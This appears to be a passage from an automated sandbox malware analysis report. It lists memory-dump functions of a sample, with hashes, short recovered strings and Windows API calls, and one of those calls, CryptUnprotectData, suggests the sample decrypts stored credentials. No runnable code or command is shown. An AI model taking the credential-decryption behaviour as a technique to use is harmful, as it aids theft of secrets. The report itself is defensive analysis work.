Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: b4f0b7a9d518f378ae35ab62ae7f6e0433e0bfd655cc7ee2673e60056a5a67c7
Instruction ID: 0a4949e802d63d59bb5fe48cab296d760ea34157b059fcd178ed81d255bfe516
Opcode Fuzzy Hash: b4f0b7a9d518f378ae35ab62ae7f6e0433e0bfd655cc7ee2673e60056a5a67c7
Instruction Fuzzy Hash: C21146B6800249EFDB10CF99D944BDEBBF1EF48320F148459EA68A7251C339A650DFA5

Function 350CD1EC Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(000000D0,?,00000000,?,?,?,?), ref: 350CDA45

Memory Dump Source

Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 81b0e9b9d63793e2a2433d0456e7f80eec8d96b73ea985fba2f7a5fbac406f01
Instruction ID: 692dabfb6f47ec744d9422640024c6580090eea4e2061de243ed8a1be833b619
Opcode Fuzzy Hash: 81b0e9b9d63793e2a2433d0456e7f80eec8d96b73ea985fba2f7a5fbac406f01
Instruction Fuzzy Hash: 51116A76800349EFDB10CF99D805BDEBBF4EF48320F148459E914A7250C379A550CFA5

Function 37D19D10 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

0^5, xrefs: 37D19FF0

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: 0^5
API String ID: 0-1414569577
Opcode ID: 7a5d865df3231e4dcb56d753b9276959d9b5dac239a5e5366573c718f11e5e08
Instruction ID: f9acf01d86f15e17bcb29ff68e41d5be9543881b96cfe9a45f7067b419832b96
Opcode Fuzzy Hash: 7a5d865df3231e4dcb56d753b9276959d9b5dac239a5e5366573c718f11e5e08
Instruction Fuzzy Hash: 6CA192B4E012188FEB68CF6AD944B9DFBF2AF89300F14C0AAD409B7255DB745A85CF51

Function 37D1A360 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

0^5, xrefs: 37D1A640

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: 0^5
API String ID: 0-1414569577
Opcode ID: 75cbf79aa5d99d542ca05f9d06c248ceff6fd944a67699d5c46daf337500b14a
Instruction ID: 767b43d4d3c29a37a419a28cc249821f1776b24f1ae5d5749bf9c7289f001529
Opcode Fuzzy Hash: 75cbf79aa5d99d542ca05f9d06c248ceff6fd944a67699d5c46daf337500b14a
Instruction Fuzzy Hash: 55A1A3B5E01218CFEB58CF6AD984B9DFBF2AF89310F14C0AAD408A7255DB345A85CF51

Function 37D196C8 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0^5, xrefs: 37D199A4

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: 0^5
API String ID: 0-1414569577
Opcode ID: 5f9036684cb13bc7a0dea0bea02cac5610a1f1c5f72824e394709725fdce6ea1
Instruction ID: 99c1238dbb9755052b4dd836cd7ffa3770fd311ea3f4398cae2f5f4ddda1e63b
Opcode Fuzzy Hash: 5f9036684cb13bc7a0dea0bea02cac5610a1f1c5f72824e394709725fdce6ea1
Instruction Fuzzy Hash: B2A1A1B4E012588FEB68CF6AD944B9DFBF2BF89300F14D0AAD409A7255DB305A85CF50

Function 37D1A9B0 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0^5, xrefs: 37D1AC8B

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: 0^5
API String ID: 0-1414569577
Opcode ID: 38b586d5e2eb89ab6373a09839f4111d37a50f56b9b095d381872d9883bd3e19
Instruction ID: 22e2272106c13f061f5d503bb5263818f6f30b56cc78c5b57e2631c2bcbc1681
Opcode Fuzzy Hash: 38b586d5e2eb89ab6373a09839f4111d37a50f56b9b095d381872d9883bd3e19
Instruction Fuzzy Hash: 2DA195B4E012188FEB64CF6AD984B9DFBF2AF89301F14C1AAD408B7255DB345A85CF51

Function 37D196B8 Relevance: 1.4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

0^5, xrefs: 37D199A4

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: 0^5
API String ID: 0-1414569577
Opcode ID: 43a9c70d602bce2f871301bbd3446341332b8c27cd8d85ac3c3af0466c7e36a1
Instruction ID: 5d913a7edebf59b23edd0a2877ff7aacd2dcb5704fd92dcfef7a34d09476b9e2
Opcode Fuzzy Hash: 43a9c70d602bce2f871301bbd3446341332b8c27cd8d85ac3c3af0466c7e36a1
Instruction Fuzzy Hash: 2771A3B4E006588FEB68CF66D944B9DFBF2AF88300F14C1AAD40DA7254DB304A85CF51

Function 37D1A9A0 Relevance: 1.4, Strings: 1, Instructions: 163COMMON

Download Yara Rule

Strings

0^5, xrefs: 37D1AC8B

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: 0^5
API String ID: 0-1414569577
Opcode ID: c24c9eef33cee75f35d6df1ae91ab5c8fba24c9b0d2bc99981ff23b2de8b221f
Instruction ID: 5cab7417d8f2b4c263ad011b1b20e8189a35f814d66bbcafd6754235d9b4fc93
Opcode Fuzzy Hash: c24c9eef33cee75f35d6df1ae91ab5c8fba24c9b0d2bc99981ff23b2de8b221f
Instruction Fuzzy Hash: CA7195B5D016188FEB68CF6AD944B9DFBF2AF88300F14C1AAD40CA7255DB345A85CF51

Function 37D18650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1c3a6a2234e17fad5b576f618f45fd6ee4561a3865679c9904ca4aeec983d68
Instruction ID: 5d180282392614a13d85f6d733897f1c1bfb2a2910e8c3bab45b5abe11c9b67b
Opcode Fuzzy Hash: b1c3a6a2234e17fad5b576f618f45fd6ee4561a3865679c9904ca4aeec983d68
Instruction Fuzzy Hash: 1972DF74E002288FEB64DF69C984BD9FBB2BB59310F5081E9D449AB351DB34AE81CF50

Function 350CC638 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08ad0f4776f93691c4c06e302aae4139d92018b58c3f6fefbd50ea256307f96f
Instruction ID: aa6efdbb31f71a67c591371c79d2cc4abbc78b8ee262ebdb2a6fa8d79ad18e15
Opcode Fuzzy Hash: 08ad0f4776f93691c4c06e302aae4139d92018b58c3f6fefbd50ea256307f96f
Instruction Fuzzy Hash: 2AE1E374E01218CFEB14CFA5D954B9DBBB2BF8A300F2081A9D419BB395DB355A86CF10

Function 350C03AF Relevance: .3, Instructions: 282COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 708ce8c985e6a5fe72d7ff78243574c10c567d97de1e08d37bf400710dddb3e7
Instruction ID: 5fb25a51fa57221e03b63d3e0b66ca1b37cd9ba74242a7e4cd908a18e4f205bd
Opcode Fuzzy Hash: 708ce8c985e6a5fe72d7ff78243574c10c567d97de1e08d37bf400710dddb3e7
Instruction Fuzzy Hash: C8D1B178E00218CFEB14DFA5C994B9DBBB2FF89301F1081A9D809AB354DB355A82CF54

Function 37D11400 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02918f1c0609205aa385fb8b5d51676f16a4a693bf264ea2931b867f5e41f734
Instruction ID: b57636f66d9b879a96a9e611b926edd2df26f3f56fa6c48db94af1078bdc540c
Opcode Fuzzy Hash: 02918f1c0609205aa385fb8b5d51676f16a4a693bf264ea2931b867f5e41f734
Instruction Fuzzy Hash: F7C19174E00218CFDB58DFA5D994B9DBBB2AF89300F2081A9D809AB355DB359E85CF50

Function 350C0C1A Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc44fec22acc49942fa3c073568a6a2be50e95dd080348ab3d00094a8167ce4d
Instruction ID: bd77ce49a85b7f83e81a640e896df26f6d31bd18a9c56c18101062b73396768c
Opcode Fuzzy Hash: fc44fec22acc49942fa3c073568a6a2be50e95dd080348ab3d00094a8167ce4d
Instruction Fuzzy Hash: 72A10474D00208CFEB14DFA5C598B9DBBB1FF89301F2082A9E409BB291DB759985CF55

Function 350C0C28 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48af33cb762373046c8ae48d32576f2e3009e4e340bfa8d317a530fb43aecefb
Instruction ID: aa3ffc5838ae1b69e2a05892543c4cb1e643a5d5a58849bde1f1e49c4c086e60
Opcode Fuzzy Hash: 48af33cb762373046c8ae48d32576f2e3009e4e340bfa8d317a530fb43aecefb
Instruction Fuzzy Hash: C6A11574D00208CFEB10DFA5C548BDDBBB1FF89311F2082A9E409AB2A1DB755985CF55

Function 350C0F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efa9ed32e5d91741d0e9114d215935a2cf0c37f8d4b464093f32cf99ddd8fcd0
Instruction ID: 52b1aa8f0e4353abd7858a0d93b6321b4251f0e256726c32b04af0bcad341db9
Opcode Fuzzy Hash: efa9ed32e5d91741d0e9114d215935a2cf0c37f8d4b464093f32cf99ddd8fcd0
Instruction Fuzzy Hash: F991F274900348CFEB10DFA8D998B9CBBB1FF49311F2082A9E409AB291DB759985CF54

Function 37D1BA97 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a5057bce0d5931887625762d62bb4920fd406ea301a947fd916bba348461dc1
Instruction ID: 516dfc5411d32769fe438f3ae4eb670b71eb2782d80ee785f0c669d96aced826
Opcode Fuzzy Hash: 3a5057bce0d5931887625762d62bb4920fd406ea301a947fd916bba348461dc1
Instruction Fuzzy Hash: A781D474E00208CFEB58DFA9DA4469DFBF2BF98311F248129E854AB358DB359942CF50

Function 37D18640 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62b3a56319484795acdbf525cfc8888d21f8a8b5f97a82cd1840c283ad2258a5
Instruction ID: ddf0b629b1b127506c191116e35fbf1b960381b0a4d2c553984ef50816733e06
Opcode Fuzzy Hash: 62b3a56319484795acdbf525cfc8888d21f8a8b5f97a82cd1840c283ad2258a5
Instruction Fuzzy Hash: F771D575D01228CFDB68DF66D9807DDFBB2BB89311F1091AAD409AB354DB349A86CF40

Function 3824F316 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565914800.0000000038240000.00000040.00000800.00020000.00000000.sdmp, Offset: 38240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_38240000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5becfe7a47135186483698c3f554861c539d990204ea105a74140d720f7acd2a
Instruction ID: dbbb66719b7e35d5195f63cbd2de04197a09e6b5bc7c0f64c27fba4a4bcfb09b
Opcode Fuzzy Hash: 5becfe7a47135186483698c3f554861c539d990204ea105a74140d720f7acd2a
Instruction Fuzzy Hash: CE610974A00319CFEB29DF64C855BADBBB2FB99300F1080A9A90A6B754DA355D82DF50

Function 37D19D00 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19ac950d3d168422f4cdbc7b3f815ac4cee851682f0f6fa9b0f4cbb2c238c052
Instruction ID: 4e383f583e0bdd4b02594e4b05294ee39ee3ec1b55b29d368a87dedb0b82d62b
Opcode Fuzzy Hash: 19ac950d3d168422f4cdbc7b3f815ac4cee851682f0f6fa9b0f4cbb2c238c052
Instruction Fuzzy Hash: A2416AB1E016188BEB58CF6BD9557C9FBF3AFC9300F14C1AAC50CA6265DB740A868F51

Function 37D1A352 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b823492dc86c5e39fdc039a34e12d806349515afe9c11ab8d85742384b3bce59
Instruction ID: 35c410a0fb8faccaecf6a93a9f74a392181ea183e90bc8c609cbace4ad13c583
Opcode Fuzzy Hash: b823492dc86c5e39fdc039a34e12d806349515afe9c11ab8d85742384b3bce59
Instruction Fuzzy Hash: 124158B1E016188BEB58CF6BD9457CAFAF3AFC9310F14C1AAD50CA6254DB740A868F50

Function 001566B8 Relevance: 8.0, Strings: 6, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(oq, xrefs: 001567B1
(oq, xrefs: 001567DD
(oq, xrefs: 00156BC7
(oq, xrefs: 00156BD7
(oq, xrefs: 0015687A
(oq, xrefs: 001566F6

Memory Dump Source

Source File: 00000007.00000002.2538278486.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_150000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: (oq$(oq$(oq$(oq$(oq$(oq
API String ID: 0-4267992933
Opcode ID: 3f195d8cbc268bb86de60d104c3166872b5020ef835583985b7df8d9fc7f240d
Instruction ID: a017cb006b66d3f3afaea24d3a4e033f896972a46b0ed6675507a77e551646d8
Opcode Fuzzy Hash: 3f195d8cbc268bb86de60d104c3166872b5020ef835583985b7df8d9fc7f240d
Instruction Fuzzy Hash: 2D124830A00249CFCB24CF69D984A9EBBF2EF48315F558569E869DF261DB30ED45CB90

Function 37D1D548 Relevance: 6.4, Strings: 5, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

)-7, xrefs: 37D1D67C
($05, xrefs: 37D1D605
dr5, xrefs: 37D1D56D
4'q, xrefs: 37D1D5ED
4'q, xrefs: 37D1D5CA

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: ($05$4'q$4'q$dr5$)-7
API String ID: 0-2181239973
Opcode ID: 688aec74a0c946f9875ef6cdf81f9b444c031568048448d4817a3a972613d104
Instruction ID: 8385c88404b961c837888297a0b11ef4f854efdd5e7285e80ed6d984beb5f62f
Opcode Fuzzy Hash: 688aec74a0c946f9875ef6cdf81f9b444c031568048448d4817a3a972613d104
Instruction Fuzzy Hash: 99517270E042099FCB05DFA8D951AEEBBB2FF89300F1485A5E005BB266DB359D41CF51

Function 38240980 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 382409FE
GetCurrentThread.KERNEL32 ref: 38240A3B
GetCurrentProcess.KERNEL32 ref: 38240A78
GetCurrentThreadId.KERNEL32 ref: 38240AD1

Memory Dump Source

Source File: 00000007.00000002.2565914800.0000000038240000.00000040.00000800.00020000.00000000.sdmp, Offset: 38240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_38240000_V7OHj6ISEo.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: e41ac1179cc9a2418a627702c22aced7c5a530890f910ed6edb7bb85fe292ecc
Instruction ID: b84d35623cc475794213338be3fb22696f87d79e303978e4e6e99d7b381b03d0
Opcode Fuzzy Hash: e41ac1179cc9a2418a627702c22aced7c5a530890f910ed6edb7bb85fe292ecc
Instruction Fuzzy Hash: 545165B0900709CFEB58CFA9D544BDEBBF1EB88310F208459E448AB361DB759981CB65

Function 37D17920 Relevance: 3.9, Strings: 3, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<C5, xrefs: 37D179D4
<C5, xrefs: 37D17B22
<C5, xrefs: 37D17AEB

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: <C5$<C5$<C5
API String ID: 0-2498843165
Opcode ID: e25a6f6c98cd52edef68fd9cdbf81770e4cbe8aef51ed5498b4a2dfd0628b1cc
Instruction ID: 22c0f6a208c000b7db48eeee627332aac8b34a299c386d3a8653274aa3a52a5d
Opcode Fuzzy Hash: e25a6f6c98cd52edef68fd9cdbf81770e4cbe8aef51ed5498b4a2dfd0628b1cc
Instruction Fuzzy Hash: AA51FF74D01318CFEB24DFA5D954BADBBB2FF89310F608129E805AB254DB759A86CF40

Function 00157458 Relevance: 3.2, Strings: 2, Instructions: 704
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 00157F9F
$q, xrefs: 00157F7C

Memory Dump Source

Source File: 00000007.00000002.2538278486.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_150000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: $q$$q
API String ID: 0-3126353813
Opcode ID: 97e3ff44eccea70acf426744da8e2aa5b50effe12fa1233b09c30a859132ec8b
Instruction ID: fe5c4a3f756bae8066e6627baf89ca4ebd47edd0d6dd6b045015b2eeacfb4841
Opcode Fuzzy Hash: 97e3ff44eccea70acf426744da8e2aa5b50effe12fa1233b09c30a859132ec8b
Instruction Fuzzy Hash: 1D52F134A00218CFEB68DBA4C861B9EBB72EF85301F1080ADD51A7B395DB355E86DF51

Function 00158D90 Relevance: 2.7, Strings: 2, Instructions: 190COMMON

Download Yara Rule

Strings

4'q, xrefs: 00158ECC
4'q, xrefs: 00158DC4

Memory Dump Source

Source File: 00000007.00000002.2538278486.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_150000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: e7dcbb3a6b801c32d67eace04b6dcfe901f2bdf6e027658a7285f90d376fae33
Instruction ID: aa1d311a70649c3d623ca864a1efbeb2440a0c69c1ebe8c1f0a991f4fef62860
Opcode Fuzzy Hash: e7dcbb3a6b801c32d67eace04b6dcfe901f2bdf6e027658a7285f90d376fae33
Instruction Fuzzy Hash: 29518F70B04205CFDB14DB69C891ABEB7B6EF88301F14846AE925EF251DB34CD498BA1

Function 37D1FAB0 Relevance: 2.7, Strings: 2, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

g5, xrefs: 37D1FAD1
($05, xrefs: 37D1FB61

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: ($05$g5
API String ID: 0-4254612366
Opcode ID: a7e37150cc008ac04ce11428c5ac3a3b72fe1722594af04df552e56c7cf36c55
Instruction ID: 410450fb9f3d1568f012ae64d5d9f9235efabf6b8710252b603791c4fd707287
Opcode Fuzzy Hash: a7e37150cc008ac04ce11428c5ac3a3b72fe1722594af04df552e56c7cf36c55
Instruction Fuzzy Hash: 96710474E10219CFDB49DFB8D9586ADBBF2EF88310F10812AE806AB255DF359942CF41

Function 37D1FAA1 Relevance: 2.6, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

g5, xrefs: 37D1FAD1
($05, xrefs: 37D1FB61

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: ($05$g5
API String ID: 0-4254612366
Opcode ID: 0051d424947dd04433c0a169b9222be3c5ad6112618cb923e532705237a19421
Instruction ID: 65f91149062a614c35c6add8e25c83c8e80357b96f0b7b8a22af7ceedd0f09ac
Opcode Fuzzy Hash: 0051d424947dd04433c0a169b9222be3c5ad6112618cb923e532705237a19421
Instruction Fuzzy Hash: 61314738E00308CBEB19DF79D5646ADBFF2AB88310F14852AD816AB395DF359842CF51

Function 37D17922 Relevance: 2.6, Strings: 2, Instructions: 72COMMON

Download Yara Rule

Strings

<C5, xrefs: 37D17B22
<C5, xrefs: 37D17AEB

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: <C5$<C5
API String ID: 0-2734903954
Opcode ID: 22fda603388042c4ade2b15e9180fbd79804b5369bc73fd90dc15bea5436c330
Instruction ID: 78da07a9b36668e84e0570bb7a0e41f5080f312eed908113f90dc4cafe8046d9
Opcode Fuzzy Hash: 22fda603388042c4ade2b15e9180fbd79804b5369bc73fd90dc15bea5436c330
Instruction Fuzzy Hash: 7B21FF70D01318DEEB04CFA5E4547EEFBB2AF89310F508469D814AB254DB795A8ACF50

Function 00158D19 Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

4'q, xrefs: 00158D44
4'q, xrefs: 00158D2D

Memory Dump Source

Source File: 00000007.00000002.2538278486.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_150000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: 6d1784e89611c039927249bc624a9a699f2454adb8d1117f5404569654c58347
Instruction ID: b7f818011a40ba3b521171a51bc46a05953eba18a1032e995c3a362086319098
Opcode Fuzzy Hash: 6d1784e89611c039927249bc624a9a699f2454adb8d1117f5404569654c58347
Instruction Fuzzy Hash: DAF062353002146FDB181AAA9C55A7BBADBEBDC3A1B148429FD5DCB391DF71CC1147A0

Function 38240104 Relevance: 1.6, APIs: 1, Instructions: 117COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 38240222

Memory Dump Source

Source File: 00000007.00000002.2565914800.0000000038240000.00000040.00000800.00020000.00000000.sdmp, Offset: 38240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_38240000_V7OHj6ISEo.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: ef2d6ec1288c745f09d8a42fc9bc096db1bf4e30dc31fc66199ea5c291f03ba9
Instruction ID: 3c32ee1b401e93d47403d745ee594f83b60c5fcb49dffb414db5886f11dd94f7
Opcode Fuzzy Hash: ef2d6ec1288c745f09d8a42fc9bc096db1bf4e30dc31fc66199ea5c291f03ba9
Instruction Fuzzy Hash: E851D3B5D00349DFDB14CFA9C884ADEBFB1BF48310F24852AE819AB250D7759981CF90

Function 38240110 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 38240222

Memory Dump Source

Source File: 00000007.00000002.2565914800.0000000038240000.00000040.00000800.00020000.00000000.sdmp, Offset: 38240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_38240000_V7OHj6ISEo.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 5a185f7437cd591e3c11084afa70d0175fa9c226ffa4837549bda632252fca1d
Instruction ID: e9e265a9ade35641adf85927c2c6d082cd273dc3643c345ff1d46241381d9acb
Opcode Fuzzy Hash: 5a185f7437cd591e3c11084afa70d0175fa9c226ffa4837549bda632252fca1d
Instruction Fuzzy Hash: 4241CFB5D10349EFDB14CFA9C880ADEBBB5BF48310F24852AE818AB250D7749981CF90

Function 38241DC0 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 38241E81

Memory Dump Source

Source File: 00000007.00000002.2565914800.0000000038240000.00000040.00000800.00020000.00000000.sdmp, Offset: 38240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_38240000_V7OHj6ISEo.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: ade7a84211364afe715795f277c7d39e57aa635a49e9a07c7a029cee1dc1e8c1
Instruction ID: a472d7e8a1d60fc6841d2071f8711a86ad27c860de823ebf8a39f676ba495106
Opcode Fuzzy Hash: ade7a84211364afe715795f277c7d39e57aa635a49e9a07c7a029cee1dc1e8c1
Instruction Fuzzy Hash: 6D4107B9A00349DFDB14CF9AC444AAAFBF5FF88310F24C459D519AB321D774A841CBA1

Function 38240BC0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 38240C4F

Memory Dump Source

Source File: 00000007.00000002.2565914800.0000000038240000.00000040.00000800.00020000.00000000.sdmp, Offset: 38240000, based on PE: false

